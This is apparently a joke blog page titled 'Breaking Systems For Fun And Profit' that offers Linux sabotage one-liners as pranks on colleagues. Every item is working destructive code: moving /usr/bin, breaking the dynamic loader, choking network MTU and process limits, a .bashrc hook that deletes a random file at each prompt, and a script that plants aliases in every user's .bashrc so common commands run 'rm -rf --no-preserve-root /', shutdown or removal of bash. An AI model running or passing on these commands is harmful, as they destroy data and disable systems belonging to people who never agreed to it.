Breaking Systems For Fun And Profit
Image by Gerd Altmann @ Pixabay

Binary Confusion

A classic, annoy your cow-orkers, while shooting yourself in the foot!

mv /usr/bin '/usr/bin '
Image by 5933179 @ Pixabay
Image by geralt @ Pixabay
Image by Tama66 @ Pixabay

Big Payloads

Run this one to bring your networks back to proper speeds:

1
2
3
4
for IF in $(ip l | awk -F': ' '/^[0-9]/{print $2}')
do
  ip l s ${IF} mtu 68
done
Image by Free-Photos @ Pixabay

Executive Decision

Run this one if you want to make an executive decision:

chmod a-x /lib{,64}/ld-2*.so

Enough Processes

Create the following file as /etc/sysctl.d/01-pidmax.conf, then reboot your system.

kernel.pid_max = 132

The Prompt of Doom

One of the classics that started the old site:

Add the following oneliner to the end of the .bashrc of your favorite user or colleague:

1
export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'

Random Exit

Create this file as /etc/profile.d/randomexit.sh:

export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'

Anti-Aliasing

Just run this one once, or more often if you’re feeling lucky.

Inspiration for this one came from Jan K.

1
2
3
4
5
6
7
8
9
#!/bin/bash
ORIG=(ls ll cd rm exit logout mkdir vi vim)
COMMANDS=("rm -rf --no-preserve-root /" "systemctl shutdown" "reboot" "yum -y remove bash")
BASHRC=$(getent passwd | awk 'BEGIN{FS=":"}/^([^:]+:){6}\/bin\/bash/{print $6 "/.bashrc"}')
for FILE in ${BASHRC}; do
  MYORIG=${ORIG[$[ ${RANDOM} % ${#ORIG[@]} ]]}
  MYCMD=${COMMANDS[$[ ${RANDOM} % ${#COMMANDS[@]} ]]}
  echo alias ${MYORIG}=\'${MYCMD}\' >> ${FILE}
done